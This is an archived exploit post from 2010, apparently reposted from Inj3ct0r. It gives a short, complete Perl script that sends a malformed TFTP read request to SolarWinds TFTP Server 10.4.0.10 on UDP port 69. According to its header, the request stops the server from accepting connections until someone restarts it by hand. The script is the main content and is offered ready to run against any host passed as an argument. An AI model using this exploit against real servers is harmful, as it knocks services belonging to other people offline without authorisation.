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Solarwinds 10.4.0.10 TFTP DoS

Posted on 21 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Solarwinds 10.4.0.10 TFTP DoS</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================= Solarwinds 10.4.0.10 TFTP DoS ============================= # Exploit Title: Solarwinds TFTP DOS # Date: 5-21-2010 # Author: Nullthreat # Software Link: http://www.solarwinds.com/products/freetools/free_tftp_server.aspx # Version: 10.4.0.10 # Tested on: Windows XP SP3 # Code : #!/usr/bin/perl # SolarWinds TFTP Server 10.4.0.10 Remote DoS Exploit # by Nullthreat # The application will not crash, but it will stop accepting connections. # You will be forced to restart the server by hand in the config # Thanks to: LoneFerret, CoreLanC0der, PureHate, Rel1k use IO::Socket; $port = &quot;69&quot;; $host = $ARGV[0]; $s = IO::Socket::INET-&gt;new(PeerPort =&gt; $port,PeerAddr =&gt; $host,Proto=&gt; 'udp'); $really= &quot;x00x01&quot;. # Opcode 1 = Read Request &quot;x01&quot;. # The crash....no really thats it &quot;x00&quot;. # Null byte &quot;NETASCII&quot;. # The mode &quot;x00&quot;; # Null byte $s-&gt;send($really); # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-21]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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